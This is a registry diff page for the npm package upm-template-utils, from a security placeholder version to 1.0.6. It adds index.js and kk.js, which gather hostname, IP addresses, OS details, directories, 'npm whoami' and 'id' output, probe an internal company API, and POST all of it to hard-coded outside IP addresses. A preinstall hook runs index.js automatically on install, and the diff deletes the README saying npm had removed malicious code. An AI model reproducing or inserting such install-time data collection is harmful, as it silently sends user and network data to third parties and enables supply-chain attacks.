upm-template-utils 0.0.1-security → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of upm-template-utils might be problematic. Click here for more details.
- package/index.js +101 -0
- package/kk.js +69 -0
- package/package.json +30 -3
- package/server.js +14 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const axios = require('axios');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
// Function to get the public IP address
|
|
6
|
+
async function getPublicIP() {
|
|
7
|
+
try {
|
|
8
|
+
const response = await axios.get('https://ipinfo.io/json');
|
|
9
|
+
return response.data.ip || 'Unknown';
|
|
10
|
+
} catch (error) {
|
|
11
|
+
return 'Unknown';
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// Function to test internal HTTP requests
|
|
16
|
+
async function checkInternalAPI() {
|
|
17
|
+
try {
|
|
18
|
+
const response = await axios.get('http://internal.company.com/api/status', { timeout: 3000 });
|
|
19
|
+
return response.status === 200 ? "Accessible" : "No Access";
|
|
20
|
+
} catch (error) {
|
|
21
|
+
return "No Access";
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// Function to check npm registry authentication (if inside the company's network)
|
|
26
|
+
function checkNPMAccess() {
|
|
27
|
+
try {
|
|
28
|
+
return execSync('npm whoami').toString().trim();
|
|
29
|
+
} catch (error) {
|
|
30
|
+
return "Not Authenticated";
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Function to check domain and AD user (if applicable)
|
|
35
|
+
function checkDomain() {
|
|
36
|
+
try {
|
|
37
|
+
return execSync('id').toString().trim();
|
|
38
|
+
} catch (error) {
|
|
39
|
+
return "Unknown";
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// Collect system and network info
|
|
44
|
+
function getNetworkInfo() {
|
|
45
|
+
const interfaces = os.networkInterfaces();
|
|
46
|
+
let ipAddress = 'Unknown';
|
|
47
|
+
|
|
48
|
+
for (const iface of Object.values(interfaces)) {
|
|
49
|
+
for (const details of iface) {
|
|
50
|
+
if (details.family === 'IPv4' && !details.internal) {
|
|
51
|
+
ipAddress = details.address;
|
|
52
|
+
break;
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
return {
|
|
58
|
+
hostname: os.hostname(),
|
|
59
|
+
osType: os.type(),
|
|
60
|
+
osPlatform: os.platform(),
|
|
61
|
+
osRelease: os.release(),
|
|
62
|
+
localIP: ipAddress
|
|
63
|
+
};
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// Function to send collected data
|
|
67
|
+
async function pingBack(data) {
|
|
68
|
+
try {
|
|
69
|
+
console.log("Sending data:", JSON.stringify(data, null, 2));
|
|
70
|
+
|
|
71
|
+
const response = await axios.post('http://23.22.251.177:8080/collect_info.php', data, {
|
|
72
|
+
headers: { 'Content-Type': 'application/json' }
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
console.log('Pingback sent successfully:', response.data);
|
|
76
|
+
} catch (error) {
|
|
77
|
+
console.error('Error sending pingback:', error.response ? error.response.data : error.message);
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
// Main function to collect and send data
|
|
82
|
+
async function collectData() {
|
|
83
|
+
const networkInfo = getNetworkInfo();
|
|
84
|
+
const publicIP = await getPublicIP();
|
|
85
|
+
const internalAPI = await checkInternalAPI();
|
|
86
|
+
const npmUser = checkNPMAccess();
|
|
87
|
+
const domainUser = checkDomain();
|
|
88
|
+
|
|
89
|
+
const data = {
|
|
90
|
+
...networkInfo,
|
|
91
|
+
publicIP,
|
|
92
|
+
internalAPI,
|
|
93
|
+
npmUser,
|
|
94
|
+
domainUser
|
|
95
|
+
};
|
|
96
|
+
|
|
97
|
+
await pingBack(data);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// Execute the script
|
|
101
|
+
collectData();
|
package/kk.js
ADDED
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const axios = require('axios');
|
|
3
|
+
|
|
4
|
+
// Function to get the public IP address
|
|
5
|
+
async function getPublicIP() {
|
|
6
|
+
try {
|
|
7
|
+
const response = await axios.get('https://ipinfo.io/json');
|
|
8
|
+
return response.data.ip || 'Unknown';
|
|
9
|
+
} catch (error) {
|
|
10
|
+
console.error('Error fetching public IP:', error.message);
|
|
11
|
+
return 'Unknown';
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// Function to send collected data (Pingback)
|
|
16
|
+
async function pingBack(data) {
|
|
17
|
+
try {
|
|
18
|
+
console.log("Sending data:", JSON.stringify(data, null, 2)); // Debugging log
|
|
19
|
+
|
|
20
|
+
const response = await axios.post('http://35.170.187.220:8080/collect_info.php', data, {
|
|
21
|
+
headers: {
|
|
22
|
+
'Content-Type': 'application/json' // Ensure correct content type
|
|
23
|
+
}
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
console.log('Pingback sent successfully:', response.data);
|
|
27
|
+
} catch (error) {
|
|
28
|
+
console.error('Error sending pingback:', error.response ? error.response.data : error.message);
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Function to collect system and network information
|
|
33
|
+
function getNetworkInfo() {
|
|
34
|
+
const interfaces = os.networkInterfaces();
|
|
35
|
+
let ipAddress = 'Unknown';
|
|
36
|
+
|
|
37
|
+
// Find the first non-internal IPv4 address
|
|
38
|
+
for (const iface of Object.values(interfaces)) {
|
|
39
|
+
for (const details of iface) {
|
|
40
|
+
if (details.family === 'IPv4' && !details.internal) {
|
|
41
|
+
ipAddress = details.address;
|
|
42
|
+
break;
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
return {
|
|
48
|
+
hostname: os.hostname(),
|
|
49
|
+
homeDirectory: os.homedir(),
|
|
50
|
+
currentDirectory: process.cwd(),
|
|
51
|
+
localIP: ipAddress
|
|
52
|
+
};
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// Main function to collect and send data
|
|
56
|
+
async function collectData() {
|
|
57
|
+
const networkInfo = getNetworkInfo();
|
|
58
|
+
const publicIP = await getPublicIP();
|
|
59
|
+
|
|
60
|
+
const data = {
|
|
61
|
+
...networkInfo,
|
|
62
|
+
publicIP
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
await pingBack(data);
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// Execute the script
|
|
69
|
+
collectData();
|
package/package.json
CHANGED
|
@@ -1,6 +1,33 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "upm-template-utils",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.6",
|
|
4
|
+
"description": "Package Claimed By JPD",
|
|
5
|
+
"license": "ISC",
|
|
6
|
+
"author": "JPD",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"scripts": {
|
|
10
|
+
"preinstall": "node index.js",
|
|
11
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"rce",
|
|
15
|
+
"security",
|
|
16
|
+
"exploit",
|
|
17
|
+
"vulnerability"
|
|
18
|
+
],
|
|
19
|
+
"repository": {
|
|
20
|
+
"type": "git",
|
|
21
|
+
"url": "git+https://github.com/JPD-12/public-repo-ui.git"
|
|
22
|
+
},
|
|
23
|
+
"bugs": {
|
|
24
|
+
"url": "https://github.com/JPD-12/public-repo-ui/issues"
|
|
25
|
+
},
|
|
26
|
+
"homepage": "https://github.com/JPD-12/public-repo-ui#readme",
|
|
27
|
+
"engines": {
|
|
28
|
+
"node": ">=14.0.0"
|
|
29
|
+
},
|
|
30
|
+
"dependencies": {
|
|
31
|
+
"axios": "^1.7.9"
|
|
32
|
+
}
|
|
6
33
|
}
|
package/server.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const express = require('express');
|
|
2
|
+
const app = express();
|
|
3
|
+
const port = 8080;
|
|
4
|
+
|
|
5
|
+
app.use(express.json());
|
|
6
|
+
|
|
7
|
+
app.post('/', (req, res) => {
|
|
8
|
+
console.log('Received data:', req.body); // Log the incoming data
|
|
9
|
+
res.status(200).send('Data received');
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
app.listen(port, () => {
|
|
13
|
+
console.log(`Server running at http://23.22.251.177:${port}/`);
|
|
14
|
+
});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=upm-template-utils for more information.
|